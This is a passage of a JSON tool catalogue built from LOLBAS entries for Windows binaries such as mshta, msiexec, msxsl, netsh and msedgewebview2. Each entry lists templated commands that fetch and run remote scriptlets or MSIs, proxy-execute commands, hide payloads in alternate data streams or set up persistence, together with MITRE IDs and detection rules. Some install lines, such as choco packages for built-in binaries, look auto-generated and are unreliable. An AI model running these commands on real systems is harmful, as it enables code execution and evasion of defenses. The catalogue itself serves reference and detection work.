    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion",
      "collection",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# msedge-proxy\n\nmsedge-proxy is a Windows LOLBin. Microsoft Edge Browser Located at: C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge_proxy.exe.\n",
    "_source": "msedge-proxy.md",
    "allowed-tools": [
      "msedge-proxy"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Mert Daş",
    "capabilities": [
      "network.transfer.download",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Microsoft Edge Browser Located at: C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge_proxy.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/e1a713d264ac072bb76b5c4e5f41315a015d3f41/rules/windows/process_creation/proc_creation_win_susp_electron_execution_proxy.yml"
      }
    ],
    "examples": [
      {
        "description": "msedge_proxy will download malicious file. (Download file from the internet)",
        "command": "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge_proxy.exe {REMOTEURL:.zip}"
      },
      {
        "description": "msedge_proxy.exe will execute file in the background (Executes a process under a trusted Microsoft signed binary)",
        "command": "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge_proxy.exe --disable-gpu-sandbox --gpu-launcher=\"{CMD} &&\""
      }
    ],
    "execution": {
      "template": "msedge-proxy",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout",
      "remote"
    ],
    "global_vars": {},
    "id": "windows-execution-msedge-proxy",
    "install": [
      {
        "method": "choco",
        "package_name": "msedge-proxy",
        "commands": [
          "choco install msedge-proxy"
        ]
      }
    ],
    "mitre_ids": [
      "T1105",
      "T1218.015"
    ],
    "name": "msedge-proxy",
    "namespace": "windows:execution:msedge-proxy",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "exfiltration",
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# msedgewebview2\n\nmsedgewebview2 is a Windows LOLBin. msedgewebview2.exe is the executable file for Microsoft Edge WebView2, which is a web browser control used by applications to display web content. Located at: C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\114.0.1823.43\\msedgewebview2.exe; C:\\Program Files (x86)\\Microsoft\\EdgeWebView\\Application\\131.0.2903.70\\msedgewebview2.exe.\n",
    "_source": "msedgewebview2.md",
    "allowed-tools": [
      "msedgewebview2"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Matan Bahar",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "msedgewebview2.exe is the executable file for Microsoft Edge WebView2, which is a web browser control used by applications to display web content. Located at: C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\114.0.1823.43\\msedgewebview2.exe; C:\\Program Files (x86)\\Microsoft\\EdgeWebView\\Application\\131.0.2903.70\\msedgewebview2.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/e1a713d264ac072bb76b5c4e5f41315a015d3f41/rules/windows/process_creation/proc_creation_win_susp_electron_execution_proxy.yml"
      },
      {
        "type": "ioc",
        "description": "msedgewebview2.exe spawned with any of the following: --gpu-launcher, --utility-cmd-prefix, --renderer-cmd-prefix, --browser-subprocess-path"
      }
    ],
    "examples": [
      {
        "description": "This command launches the Microsoft Edge WebView2 browser control without sandboxing and will spawn the specified executable as its subprocess. (Proxy execution of binary)",
        "command": "msedgewebview2.exe --no-sandbox --browser-subprocess-path=\"{PATH_ABSOLUTE:.exe}\""
      },
      {
        "description": "This command launches the Microsoft Edge WebView2 browser control without sandboxing and will spawn the specified command as its subprocess. (Proxy execution of binary)",
        "command": "msedgewebview2.exe --utility-cmd-prefix=\"{CMD}\""
      },
      {
        "description": "This command launches the Microsoft Edge WebView2 browser control without sandboxing and will spawn the specified command as its subprocess. (Proxy execution of binary)",
        "command": "msedgewebview2.exe --disable-gpu-sandbox --gpu-launcher=\"{CMD}\""
      },
      {
        "description": "This command launches the Microsoft Edge WebView2 browser control without sandboxing and will spawn the specified command as its subprocess. (Proxy execution of binary)",
        "command": "msedgewebview2.exe --no-sandbox --renderer-cmd-prefix=\"{CMD}\""
      }
    ],
    "execution": {
      "template": "msedgewebview2",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-msedgewebview2",
    "install": [
      {
        "method": "choco",
        "package_name": "msedgewebview2",
        "commands": [
          "choco install msedgewebview2"
        ]
      }
    ],
    "mitre_ids": [
      "T1218.015"
    ],
    "name": "msedgewebview2",
    "namespace": "windows:execution:msedgewebview2",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "one-electron-to-rule-them-all-dc2e9b263daf",
        "url": "https://medium.com/@MalFuzzer/one-electron-to-rule-them-all-dc2e9b263daf"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# mshta\n\nmshta is a Windows LOLBin. Used by Windows to execute html applications. (.hta) Located at: C:\\Windows\\System32\\mshta.exe; C:\\Windows\\SysWOW64\\mshta.exe.\n",
    "_source": "mshta.md",
    "allowed-tools": [
      "mshta"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command",
      "system.file.alternate-data-stream",
      "network.transfer.download"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "filesystem_write",
        "process_spawn",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Used by Windows to execute html applications. (.hta) Located at: C:\\Windows\\System32\\mshta.exe; C:\\Windows\\SysWOW64\\mshta.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_mshta_susp_pattern.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_via_use_mhsta.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_mshta_lethalhta_technique.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_mshta_javascript.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/file/file_event/file_event_win_net_cli_artefact.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/image_load/image_load_susp_script_dotnet_clr_dll_load.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/f8f643041a584621e66cf8e6d534ad3db92edc29/rules/windows/defense_evasion_mshta_beacon.toml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/lateral_movement_dcom_hta.toml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/08ed88bd88259c03c771c30170d2934ed0a8f878/stories/suspicious_mshta_activity.yml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_mshta_renamed.yml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/suspicious_mshta_spawn.yml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/suspicious_mshta_child_process.yml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_mshta_url_in_command_line.yml"
      },
      {
        "type": "blockrule",
        "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules"
      },
      {
        "type": "ioc",
        "description": "mshta.exe executing raw or obfuscated script within the command-line"
      },
      {
        "type": "ioc",
        "description": "General usage of HTA file"
      },
      {
        "type": "ioc",
        "description": "msthta.exe network connection to Internet/WWW resource"
      },
      {
        "type": "ioc",
        "description": "DotNet CLR libraries loaded into mshta.exe"
      },
      {
        "type": "ioc",
        "description": "DotNet CLR Usage Log - mshta.exe.log"
      }
    ],
    "examples": [
      {
        "description": "Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript. (Execute code)",
        "command": "mshta.exe {PATH:.hta}"
      },
      {
        "description": "Executes VBScript supplied as a command line argument. (Execute code)",
        "command": "mshta.exe vbscript:Close(Execute(\"GetObject(\"\"script:{REMOTEURL:.sct}\"\")\"))"
      },
      {
        "description": "Executes JavaScript supplied as a command line argument. (Execute code)",
        "command": "mshta.exe javascript:a=GetObject(\"script:{REMOTEURL:.sct}\").Exec();close();"
      },
      {
        "description": "Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript. (Execute code hidden in alternate data stream)",
        "command": "mshta.exe \"{PATH_ABSOLUTE}:file.hta\""
      },
      {
        "description": "It will download a remote payload and place it in INetCache. (Downloads payload from remote server)",
        "command": "mshta.exe {REMOTEURL}"
      }
    ],
    "execution": {
      "template": "mshta",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "streaming"
    ],
    "global_vars": {},
    "id": "windows-execution-mshta",
    "install": [
      {
        "method": "choco",
        "package_name": "mshta",
        "commands": [
          "choco install mshta"
        ]
      }
    ],
    "mitre_ids": [
      "T1218.005",
      "T1105"
    ],
    "name": "mshta",
    "namespace": "windows:execution:mshta",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "AppLocker_Bypass_Techniques.html#menu_index_4",
        "url": "https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_4"
      },
      {
        "label": "mshta.sct",
        "url": "https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/mshta.sct"
      },
      {
        "label": "",
        "url": "https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/"
      },
      {
        "label": "",
        "url": "https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# mshtml\n\nmshtml is a Windows LOLBin. Microsoft HTML Viewer Located at: c:\\windows\\system32\\mshtml.dll; c:\\windows\\syswow64\\mshtml.dll.\n",
    "_source": "mshtml.md",
    "allowed-tools": [
      "mshtml"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "LOLBAS Team",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Microsoft HTML Viewer Located at: c:\\windows\\system32\\mshtml.dll; c:\\windows\\syswow64\\mshtml.dll.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml"
      }
    ],
    "examples": [
      {
        "description": "Invoke an HTML Application via mshta.exe (note: pops a security warning and a print dialogue box). (Launch an HTA application.)",
        "command": "rundll32.exe Mshtml.dll,PrintHTML {PATH_ABSOLUTE:.hta}"
      }
    ],
    "execution": {
      "template": "mshtml",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-mshtml",
    "install": [
      {
        "method": "choco",
        "package_name": "mshtml",
        "commands": [
          "choco install mshtml"
        ]
      }
    ],
    "mitre_ids": [
      "T1218.011"
    ],
    "name": "mshtml",
    "namespace": "windows:execution:mshtml",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "998567549670477824",
        "url": "https://twitter.com/pabraeken/status/998567549670477824"
      },
      {
        "label": "mshtml_dll.html",
        "url": "https://windows10dll.nirsoft.net/mshtml_dll.html"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# msiexec\n\nmsiexec is a Windows LOLBin. Used by Windows to execute msi files Located at: C:\\Windows\\System32\\msiexec.exe; C:\\Windows\\SysWOW64\\msiexec.exe.\n",
    "_source": "msiexec.md",
    "allowed-tools": [
      "msiexec"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Used by Windows to execute msi files Located at: C:\\Windows\\System32\\msiexec.exe; C:\\Windows\\SysWOW64\\msiexec.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_msiexec_web_install.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_msiexec_masquerading.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/uninstall_app_using_msiexec.yml"
      },
      {
        "type": "ioc",
        "description": "msiexec.exe retrieving files from Internet"
      }
    ],
    "examples": [
      {
        "description": "Installs the target .MSI file silently. (Execute custom made msi file with attack code)",
        "command": "msiexec /quiet /i {PATH:.msi}"
      },
      {
        "description": "Installs the target remote & renamed .MSI file silently. (Execute custom made msi file with attack code from remote server)",
        "command": "msiexec /q /i {REMOTEURL}"
      },
      {
        "description": "Calls DllRegisterServer to register the target DLL. (Execute dll files)",
        "command": "msiexec /y {PATH_ABSOLUTE:.dll}"
      },
      {
        "description": "Calls DllUnregisterServer to un-register the target DLL. (Execute dll files)",
        "command": "msiexec /z {PATH_ABSOLUTE:.dll}"
      },
      {
        "description": "Installs the target .MSI file from a remote URL, the file can be signed by vendor. Additional to the file a transformation file will be used, which can contains malicious code or binaries. The /qb will skip user input. (Install trusted and signed msi file, with additional attack code as transformation file, from a remote server)",
        "command": "msiexec /i {PATH_ABSOLUTE:.msi} TRANSFORMS=\"{REMOTEURL:.mst}\" /qb"
      }
    ],
    "execution": {
      "template": "msiexec",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {},
    "id": "windows-execution-msiexec",
    "install": [
      {
        "method": "choco",
        "package_name": "msiexec",
        "commands": [
          "choco install msiexec"
        ]
      }
    ],
    "mitre_ids": [
      "T1218.007"
    ],
    "name": "msiexec",
    "namespace": "windows:execution:msiexec",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://pentestlab.blog/2017/06/16/applocker-bypass-msiexec/"
      },
      {
        "label": "992021361106268161",
        "url": "https://twitter.com/PhilipTsukerman/status/992021361106268161"
      },
      {
        "label": "MSIFortune.html",
        "url": "https://badoption.eu/blog/2023/10/03/MSIFortune.html"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# msxsl\n\nmsxsl is a Windows LOLBin. Command line utility used to perform XSL transformations. Located at: no default.\n",
    "_source": "msxsl.md",
    "allowed-tools": [
      "msxsl"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command",
      "security.defense-evasion.bypass",
      "network.transfer.download",
      "system.file.alternate-data-stream"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "filesystem_write",
        "network_traffic",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Command line utility used to perform XSL transformations. Located at: no default.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_wmic_xsl_script_processing.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/defense_evasion_msxsl_beacon.toml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_msxsl_network.toml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml"
      }
    ],
    "examples": [
      {
        "description": "Run COM Scriptlet code within the script.xsl file (local). (Local execution of script stored in XSL file.)",
        "command": "msxsl.exe {PATH:.xml} {PATH:.xsl}"
      },
      {
        "description": "Run COM Scriptlet code within the script.xsl file (local). (Local execution of script stored in XSL file.)",
        "command": "msxsl.exe {PATH:.xml} {PATH:.xsl}"
      },
      {
        "description": "Run COM Scriptlet code within the shellcode.xml(xsl) file (remote). (Local execution of remote script stored in XSL script stored as an XML file.)",
        "command": "msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl}"
      },
      {
        "description": "Run COM Scriptlet code within the shellcode.xml(xsl) file (remote). (Local execution of remote script stored in XSL script stored as an XML file.)",
        "command": "msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xml}"
      },
      {
        "description": "Using remote XML and XSL files, save the transformed XML file to disk. (Download a file from the internet and save it to disk.)",
        "command": "msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl} -o {PATH}"
      },
      {
        "description": "Using remote XML and XSL files, save the transformed XML file to an Alternate Data Stream (ADS). (Download a file from the internet and save it to an NTFS Alternate Data Stream.)",
        "command": "msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl} -o {PATH}:ads-name"
      }
    ],
    "execution": {
      "template": "msxsl",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout",
      "stealth",
      "streaming"
    ],
    "global_vars": {},
    "id": "windows-execution-msxsl",
    "install": [
      {
        "method": "choco",
        "package_name": "msxsl",
        "commands": [
          "choco install msxsl"
        ]
      }
    ],
    "mitre_ids": [
      "T1220",
      "T1105",
      "T1564"
    ],
    "name": "msxsl",
    "namespace": "windows:execution:msxsl",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "877616321747271680",
        "url": "https://twitter.com/subTee/status/877616321747271680"
      },
      {
        "label": "Use-msxsl-to-bypass-AppLocker",
        "url": "https://github.com/3gstudent/Use-msxsl-to-bypass-AppLocker"
      },
      {
        "label": "Use-msxsl-to-download-file",
        "url": "https://github.com/RonnieSalomonsen/Use-msxsl-to-download-file"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# netsh\n\nnetsh is a Windows LOLBin. Netsh is a Windows tool used to manipulate network interface settings. Located at: C:\\WINDOWS\\System32\\Netsh.exe; C:\\WINDOWS\\SysWOW64\\Netsh.exe.\n",
    "_source": "netsh.md",
    "allowed-tools": [
      "netsh"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Freddie Barr-Smith",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Netsh is a Windows tool used to manipulate network interface settings. Located at: C:\\WINDOWS\\System32\\Netsh.exe; C:\\WINDOWS\\SysWOW64\\Netsh.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_netsh_helper_dll_persistence.yml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/2b87b26bdc2a84b65b1355ffbd5174bdbdb1879c/detections/endpoint/processes_launching_netsh.yml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/08ed88bd88259c03c771c30170d2934ed0a8f878/detections/deprecated/processes_created_by_netsh.yml"
      },
      {
        "type": "ioc",
        "description": "Netsh initiating a network connection"
      }
    ],
    "examples": [
      {
        "description": "Use Netsh in order to execute a .dll file and also gain persistence, every time the netsh command is called (Proxy execution of .dll)",
        "command": "netsh.exe add helper {PATH_ABSOLUTE:.dll}"
      }
    ],
    "execution": {
      "template": "netsh",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-netsh",
    "install": [
      {
        "method": "choco",
        "package_name": "netsh",
        "commands": [
          "choco install netsh"
        ]
      }
    ],
    "mitre_ids": [
      "T1546.007"
    ],
    "name": "netsh",
    "namespace": "windows:execution:netsh",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "trix.html",
        "url": "https://freddiebarrsmith.com/trix/trix.html"
      },
      {
        "label": "netshell.html",
        "url": "https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html"
      },
      {
        "label": "",
        "url": "https://liberty-shell.com/sec/2018/07/28/netshlep/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# ntsd\n\nntsd is a Windows LOLBin. Symbolic Debugger for Windows. Located at: C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\ntsd.exe; C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x86\\ntsd.exe; C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\arm\\ntsd.exe.\n",
    "_source": "ntsd.md",
    "allowed-tools": [
      "ntsd"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Avihay Eldad",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Symbolic Debugger for Windows. Located at: C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\ntsd.exe; C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x86\\ntsd.exe; C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\arm\\ntsd.exe.",
    "detections": [],
    "examples": [
      {
        "description": "Launches command through the debugging process; optionally add `-G` to exit the debugger automatically. (Executes an executable under a trusted microsoft signed binary.)",
        "command": "ntsd.exe -g {CMD}"
      }
    ],
    "execution": {
      "template": "ntsd",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-ntsd",
    "install": [
      {
        "method": "choco",
        "package_name": "ntsd",
        "commands": [
          "choco install ntsd"
        ]
      }
    ],
    "mitre_ids": [
      "T1127"
    ],
    "name": "ntsd",
    "namespace": "windows:execution:ntsd",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "cdb-command-line-options",
        "url": "https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/cdb-command-line-options"
      },
      {
        "label": "ntsd.exe-629EA12D527237B9CD945AC44C2DE80D.html",
        "url": "https://strontic.github.io/xcyclopedia/library/ntsd.exe-629EA12D527237B9CD945AC44C2DE80D.html"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# odbcconf\n\nodbcconf is a Windows LOLBin. Used in Windows for managing ODBC connections Located at: C:\\Windows\\System32\\odbcconf.exe; C:\\Windows\\SysWOW64\\odbcconf.exe.\n",
    "_source": "odbcconf.md",
    "allowed-tools": [
      "odbcconf"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
